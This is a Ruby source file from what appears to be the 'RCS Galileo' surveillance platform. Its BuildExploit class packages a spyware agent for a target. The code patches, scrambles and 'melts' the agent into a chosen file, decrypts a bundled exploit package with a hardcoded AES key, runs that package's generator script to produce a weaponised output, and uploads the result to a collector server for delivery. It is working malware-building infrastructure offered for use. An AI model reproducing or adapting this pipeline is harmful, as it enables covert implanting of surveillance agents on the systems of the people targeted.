lib/rcs-db/build/exploit.rb
#
# Local exploit creation
#
require_relative '../frontend'
require_relative '../build'
# from RCS::Common
require 'rcs-common/trace'
require 'rcs-common/crypt'
require 'rbconfig'
module RCS
module DB
class BuildExploit < Build
def initialize
super
@platform = 'exploit'
end
def load(params)
trace :debug, "Build: load: #{params}"
@factory = ::Item.find(params['_id'])
end
def unpack
# nothing to unpack here
end
def build_agent(params)
# build the agent for the right platform
build = Build.factory(@exploit['platform'].to_sym)
build.load({'_id' => @factory._id})
build.unpack
build.patch params['binary'].dup
build.scramble
build.melt params['melt'].dup
@scout_name = build.scout_name(@factory.confkey)[:name] if build.respond_to?(:scout_name)
agent = build.outputs.first
FileUtils.cp(File.join(build.tmpdir, agent), path('agent'))
@outputs = ['agent']
build.clean
end
def generate(params)
trace :debug, "Build: generate: #{params}"
@exploit = Exploit.get params['exploit']
raise "Exploit #{params['exploit']} not found" if @exploit.nil?
build_agent params
clear_file = Exploit.decrypt_exploit(@exploit[:package])
# unpack the exploit
Zip::File.open(clear_file) do |z|
z.each do |f|
f_path = path(f.name)
FileUtils.mkdir_p(File.dirname(f_path))
z.extract(f, f_path) unless File.exist?(f_path)
end
end
FileUtils.rm_rf clear_file
end
def melt(params)
trace :debug, "Build: melt #{params}"
@appname = params['appname'] || 'exploit'
# use the user-provided file to melt with
if params['input']
FileUtils.mv Config.instance.temp(params['input']), path('input')
end
FileUtils.mv path('agent'), path(@appname)
@outputs.delete 'agent'
@outputs.push @appname
# how do we name the output file?
if @exploit['multifile']
# multifile exploits are always zip archives
@final_output_file = File.basename(@appname, '.exe') + '.zip'
elsif params['filename']
# name it as the input file name
@final_output_file = params['filename']
# if the exploits declares an output format, use that extension
@final_output_file = File.basename(params['filename'], '.*') + "." + @exploit['output'] if @exploit['output']
else
# otherwise use the first extension
@final_output_file = File.basename(@appname, '.exe') + '.' + @exploit['format'].first
end
# invoke the creation of the exploit
command = @exploit['exec']
raise "Invalid exploit script, no exec command" unless command
command.gsub!('%OUTPUT%', path('output'))
command.gsub!('%OUTPUT_SERVER%', path('server.zip'))
command.gsub!('%AGENT%', path(@appname))
command.gsub!('%URL%', params['url']) unless params['url'].nil?
command.gsub!('%FILE%', path('input')) if File.exist?(path('input'))
command.gsub!('%FILENAME%', params['filename']) unless params['filename'].nil?
command.gsub!('%COMBO%', params['combo']) unless params['combo'].nil?
command.gsub!('%SCOUT_NAME%', @scout_name) unless @scout_name.nil?
# split the command and the arguments
m = Regexp.new('([\w\.]+)(?: )(.*)', Regexp::IGNORECASE).match(command)
command = m[1]
params = m[2]
# if the command is local, use the full path to the temp dir
command = path(command) if File.exist? path(command)
# we have to invoke the interpreter explicitly
command.prepend('ruby ') if command.end_with? '.rb'
command.prepend('python ') if command.end_with? '.py'
# special case for windows
if RbConfig::CONFIG['host_os'] =~ /mingw/
# use the full path under windows
# this will trigger the CrossPlatform.exec to capture the output
command.prepend("C:\\RCS\\Python\\") if command.start_with? 'python'
command.prepend("C:\\RCS\\Ruby\\bin\\") if command.start_with? 'ruby'
# replace the slashes in the path with backslashes,
# don't replace those with a space in front (usually parameters)
params.gsub!(/([^ ])\//) { |m| "#{$1}\\" } if command['makensis']
end
CrossPlatform.exec command, params, {:chdir => path('')}
File.exist? path('output') or raise("Exploit creation failed. No output file")
@outputs << 'output'
end
def pack(params)
trace :debug, "Build: pack: #{params}"
# already a zip file, don't compress it
if Exploit::is_zip_file?(path('output'))
FileUtils.cp path('output'), path('output.zip')
else
# put it inside a zip for the
Zip::File.open(path('output.zip'), Zip::File::CREATE) do |z|
z.file.open(@final_output_file, "wb") { |f| f.write File.open(path('output'), 'rb') {|f| f.read} }
end
end
@outputs.insert(0, 'output.zip')
end
def deliver(params)
trace :debug, "Build: deliver: #{params} #{@outputs}"
# if the agent was embedded, we don't need to push anything on the collector
return if @exploit['embed']
@appname = File.basename(@appname, '.*')
# for exploits that have a package for the server
if File.exist? path('server.zip')
content = File.open(path('server.zip'), 'rb') {|f| f.read}
Frontend.collector_put("#{@appname}.zip", content, @factory, params['user'])
return
end
# for all the others create a zip of outputs and send to the frontend
push = @outputs.dup
push.delete 'output.zip'
push.delete 'output'
file = push.first
# already a zip file, don't compress it
if Exploit::is_zip_file?(path(file))
File.rename(path(file), path("#{@appname}.zip"))
else
# put it inside a zip for the
Zip::File.open(path("#{@appname}.zip"), Zip::File::CREATE) do |z|
z.file.open(file, "wb") { |f| f.write File.open(path(file), 'rb') {|f| f.read} }
end
end
content = File.open(path("#{@appname}.zip"), 'rb') {|f| f.read}
Frontend.collector_put("#{@appname}.zip", content, @factory, params['user'])
end
end
class Exploit
extend RCS::Tracer
extend RCS::Crypt
class << self
def is_zip_file?(file)
sig = ''
File.open(file, 'rb') do |fo|
sig = fo.read(2)
end
# it is a zip file
sig == 'PK'
end
def decrypt_exploit(input_file)
clear_file = Config.instance.temp(File.basename(input_file))
# it is a zip file in clear
if is_zip_file?(input_file)
content = File.binread(input_file)
else
# this is encrypted
content = aes_decrypt(File.binread(input_file), "$RCS Galileo Exploit$")
end
File.open(clear_file, 'wb') {|f| f.write content}
return clear_file
end
def reload_list
list = []
trace :debug, "Scanning Exploits..."
begin
exp_dir = File.join($execution_directory, 'exploits')
if File.exist? exp_dir
Dir[exp_dir + '/ht-????-???'].each do |exp|
# decrypt the exploit package
clear_file = decrypt_exploit(exp)
info = {}
# load the info of each exploit from the package file
Zip::File.open(clear_file) do |z|
info = z.file.open('info.yaml', 'rb') {|f| f.read}
info = YAML.load(info)
end
# remove the exploit archive in clear
FileUtils.rm_rf clear_file
# load only exploits with correct version number
next unless info['version'] == 20140512
info[:package] = exp
info[:address] = File.read(RCS::DB::Config.instance.file('exploit_server')).chomp if info['exploit_server']
list << info
end
end
rescue Exception => e
trace :error, "Cannot load exploit list: #{e.message}"
end
# atomic assignment to avoid concurrency
@list = list
trace :debug, "Exploit found: #{@list.size}"
end
def get(id)
return nil unless LicenseManager.instance.check :exploits
reload_list
@list.each do |e|
return e if e['id'] == id
end
return nil
end
def all
return [] unless LicenseManager.instance.check :exploits
reload_list
@list
end
def version
return "no license" unless LicenseManager.instance.check :exploits
version_file = File.join($execution_directory, 'exploits', 'VERSION')
return "no version" unless File.exist?(version_file)
File.open(version_file, 'rb') {|f| f.read}
end
end
end
end #DB::
end #RCS::